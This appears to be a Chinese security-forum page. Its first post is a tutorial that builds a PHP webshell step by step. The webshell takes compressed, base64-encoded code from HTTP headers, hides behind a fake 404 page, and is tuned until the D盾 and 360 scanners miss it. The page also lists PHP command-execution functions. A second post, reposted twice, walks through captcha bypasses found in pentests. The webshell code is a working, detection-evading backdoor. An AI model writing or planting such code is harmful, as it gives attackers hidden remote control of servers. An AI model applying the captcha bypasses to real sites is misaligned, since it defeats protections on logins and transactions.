在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:
<?php eval($_POST['caidao']);?>
Second step
首先大家看下这个东西:



不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:
$compressed   = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>
Third step
那么重点来了!
我要说的就是gzcompress这个函数。然后我又查了查相关资料,找到了PHP中具有相同功能的函数还有两个:gzdeflategzencode
科普下:
压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode
gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;
其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。
有兴趣的自己在找找吧
Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。
if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>
Fifth step
结合访问日志记录用到的getallheaders函数,最终的webshell如下:
<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));?>

用D盾查一下



虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:
<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));?>

看下webshell可用性

webshell3.png

 
这里注意下,使用eval的话会报错,具体的原因请查看错误详情在安利下命令执行的一些函数:
'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open
Sixth step
再用D盾检测下



还是可疑啊,那行再伪造伪造下
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>

再检测下:



360 5引擎检测下



very perfect!

如果觉得自己添加头麻烦可疑使用自带的请求头字段:
getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept']

逻辑让我崩溃之验证码姿势分享

flaray 发表了文章 • 0 个评论 • 41 次浏览 • 2019-03-29 18:42 • 来自相关话题

转自:https://xz.aliyun.com/t/4533
## 0x00 日常BB
看论坛里大家平时发的技术文章,就知道自己是个还没踏进门槛的小学生,根本不在一个level,有点慌了。还是把自己平时发现的,自认为有点意思的点罗列出来,班门弄斧,师傅们别笑话→.→
## 0x01 前言
本次分享的是自己关于自己遇到的一些关于图形验证码的案例,可能涉及图形验证码、短信验证码等,还是没有将问题探究到多深入,希望文中的思路能有所用。 
## 0x02 喂!你的那个验证码暴露了?
### 案例前情有些开发人员在做图形验证码校验这一功能时,可能用到了类似这样的思路,所以出了问题,我不妨大胆臆想一下他们的“直男”逻辑,如下所示,那么问题就出在了验证的环节。

生成图形验证码之后,session中保存了四位验证码信息,通过GET请求获取图形验证码时,直接在验证码的末附上了session中的图形验证码值,用户传参后直接比较,同时也省去了提交之后校验的环节。
 
### 案例分享
登陆页面很直观的需要图形验证码,输入的信息均正确,就可以成功通过验证,进行登陆。那么,针对图形验证码的请求,有必要仔细瞅他一眼。

ok,在正常不过的一个请求,那瞅一眼返回信息看看,文末有彩蛋,json部分包括了captcha的值,那么字面意思可以是图形验证码的内容了,核实一下之后可以确信了。


所以这个点的问题很有可能基本上符合我上面的流程中对验证环节的臆想,剩下的就可以是绕过或者直接爆破了,因为图形验证码已经over time。
 
## 0x03 喂!穿上马甲照样认识你!
### 前情提要
上一个案例涉及到了逻辑上存在问题的验证方式,同时很明显的展示了问题存在的点,这一部分没有明显的让你发现验证码的脆弱点,为了规避掉存在问题的点,自以为是用到了常见的拼凑、混淆方式。
### 案例分享
近乎同样的功能点,这个功能点试图使用图形验证码限制短信验证码的请求频率,那么也来看一下他的请求,是否可以从中get一些有用的信息。
 PS:这个请求我们可以看到有一个参数_captcha_bankcoas_key=,这个值怎么看都像是用了base64编码,当然不排除是加密算法加密之后再次使用base64进行编码,尝试先进行base64解码看看如何,毕竟参数的定义方式已经告诉你:“这个参数和captcha有关”,来吧,试试看。

返回包中的黄色箭头部分为密文形式,原密文如下:ZTI5ZTVhNjA4NWY0YjNjNDJhNDE0MjdkNzFjODQxMjUjMTU1MzA0OTI1OTQ3MSM2MDQ4MDAjTWprM1lqUTNNV0V3TjJZelpXRm1aVFUzWXpBeE5tRmxPR0kxTnpabE56ST0=
首先进行一次base64解码,解码后的内容可以看出,好像这个串是通过一部分加密之后,再拼凑一部分再加密的方式,最后一个“#”号到结尾部分看起来就像是先base64的那部分,摘出来解解看:e29e5a6085f4b3c42a41427d71c84125#1553049259471#604800#Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=
最后一个“#”号到结尾的部分再次进行base64解密:Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=
再次base64解码之后得到一个密文串儿,怎么看都得是32位md5加密值,图形验证码是6位纯数字,md5在线解密来看,嗯~真香。297b471a07f3eafe57c016ae8b576e72

## 0x04 喂!验证码我说了算?
### 前情提要
这个案例的与众不同点在于要求你输入红色标记的几个数字,这种验证方式一定程度上应该是很有效果的达到了验证码的作用,但是如果获取验证码的请求中有任何用户可控的数据提交,可能验证码就不是当年的验证码了。### 案例分享这个分享的案例有一个奇怪的逻辑,在做一笔交易时,需要动过动态手机验证码验证的方式进行,获取短信验证码需要图形验证码进行校验。
But,无论这个图形验证码存在的目的是什么,获取图形验证码的请求中有一个参数recAccount是图形验证码的内容部分,那我可就……直接把内容改成1234试试水。https://www.test.com/plate/tranVerificationCode.do?recAccount=[b]1234567890[/b]&recAccountName=&trxCode=[b]02[/b]&format=JSON&channel=undefined&businessCode=undefined
修改过的recAccount到页面之后,验证码也就成了我修改后的1234,不用打码,直接自己愿意什么内容就是什么内容了。

每一笔交易也自然都可以顺利的无视图形验证码的限制了。

 ## 0x05 容我再想想
em……我突然想到,上面的案例中涉及的场景都是可以通过脚本来自动化的,但是如果在没有写脚本的情况下,能不能利用Bp现有的功能或插件来直接用,案例中的情况可以考虑通过插件Extractor和Bp自带的Marco的方式来结合使用,这样可以将bp指定范围内的请求均经过处理进行自动化的测试或者半自动化的测试。 查看全部
转自:https://xz.aliyun.com/t/4533
## 0x00 日常BB
看论坛里大家平时发的技术文章,就知道自己是个还没踏进门槛的小学生,根本不在一个level,有点慌了。还是把自己平时发现的,自认为有点意思的点罗列出来,班门弄斧,师傅们别笑话→.→
## 0x01 前言
本次分享的是自己关于自己遇到的一些关于图形验证码的案例,可能涉及图形验证码、短信验证码等,还是没有将问题探究到多深入,希望文中的思路能有所用。 
## 0x02 喂!你的那个验证码暴露了?
### 案例前情有些开发人员在做图形验证码校验这一功能时,可能用到了类似这样的思路,所以出了问题,我不妨大胆臆想一下他们的“直男”逻辑,如下所示,那么问题就出在了验证的环节。

生成图形验证码之后,session中保存了四位验证码信息,通过GET请求获取图形验证码时,直接在验证码的末附上了session中的图形验证码值,用户传参后直接比较,同时也省去了提交之后校验的环节。
 
### 案例分享
登陆页面很直观的需要图形验证码,输入的信息均正确,就可以成功通过验证,进行登陆。那么,针对图形验证码的请求,有必要仔细瞅他一眼。

ok,在正常不过的一个请求,那瞅一眼返回信息看看,文末有彩蛋,json部分包括了captcha的值,那么字面意思可以是图形验证码的内容了,核实一下之后可以确信了。


所以这个点的问题很有可能基本上符合我上面的流程中对验证环节的臆想,剩下的就可以是绕过或者直接爆破了,因为图形验证码已经over time。
 
## 0x03 喂!穿上马甲照样认识你!

### 前情提要
上一个案例涉及到了逻辑上存在问题的验证方式,同时很明显的展示了问题存在的点,这一部分没有明显的让你发现验证码的脆弱点,为了规避掉存在问题的点,自以为是用到了常见的拼凑、混淆方式。
### 案例分享
近乎同样的功能点,这个功能点试图使用图形验证码限制短信验证码的请求频率,那么也来看一下他的请求,是否可以从中get一些有用的信息。
 PS:这个请求我们可以看到有一个参数_captcha_bankcoas_key=,这个值怎么看都像是用了base64编码,当然不排除是加密算法加密之后再次使用base64进行编码,尝试先进行base64解码看看如何,毕竟参数的定义方式已经告诉你:“这个参数和captcha有关”,来吧,试试看。

返回包中的黄色箭头部分为密文形式,原密文如下:
ZTI5ZTVhNjA4NWY0YjNjNDJhNDE0MjdkNzFjODQxMjUjMTU1MzA0OTI1OTQ3MSM2MDQ4MDAjTWprM1lqUTNNV0V3TjJZelpXRm1aVFUzWXpBeE5tRmxPR0kxTnpabE56ST0=

首先进行一次base64解码,解码后的内容可以看出,好像这个串是通过一部分加密之后,再拼凑一部分再加密的方式,最后一个“#”号到结尾部分看起来就像是先base64的那部分,摘出来解解看:
e29e5a6085f4b3c42a41427d71c84125#1553049259471#604800#Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=

最后一个“#”号到结尾的部分再次进行base64解密:
Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=

再次base64解码之后得到一个密文串儿,怎么看都得是32位md5加密值,图形验证码是6位纯数字,md5在线解密来看,嗯~真香。
297b471a07f3eafe57c016ae8b576e72


## 0x04 喂!验证码我说了算?
### 前情提要
这个案例的与众不同点在于要求你输入红色标记的几个数字,这种验证方式一定程度上应该是很有效果的达到了验证码的作用,但是如果获取验证码的请求中有任何用户可控的数据提交,可能验证码就不是当年的验证码了。### 案例分享这个分享的案例有一个奇怪的逻辑,在做一笔交易时,需要动过动态手机验证码验证的方式进行,获取短信验证码需要图形验证码进行校验。
But,无论这个图形验证码存在的目的是什么,获取图形验证码的请求中有一个参数recAccount是图形验证码的内容部分,那我可就……直接把内容改成1234试试水。
https://www.test.com/plate/tranVerificationCode.do?recAccount=[b]1234567890[/b]&recAccountName=&trxCode=[b]02[/b]&format=JSON&channel=undefined&businessCode=undefined

修改过的recAccount到页面之后,验证码也就成了我修改后的1234,不用打码,直接自己愿意什么内容就是什么内容了。

每一笔交易也自然都可以顺利的无视图形验证码的限制了。

 ## 0x05 容我再想想
em……我突然想到,上面的案例中涉及的场景都是可以通过脚本来自动化的,但是如果在没有写脚本的情况下,能不能利用Bp现有的功能或插件来直接用,案例中的情况可以考虑通过插件Extractor和Bp自带的Marco的方式来结合使用,这样可以将bp指定范围内的请求均经过处理进行自动化的测试或者半自动化的测试。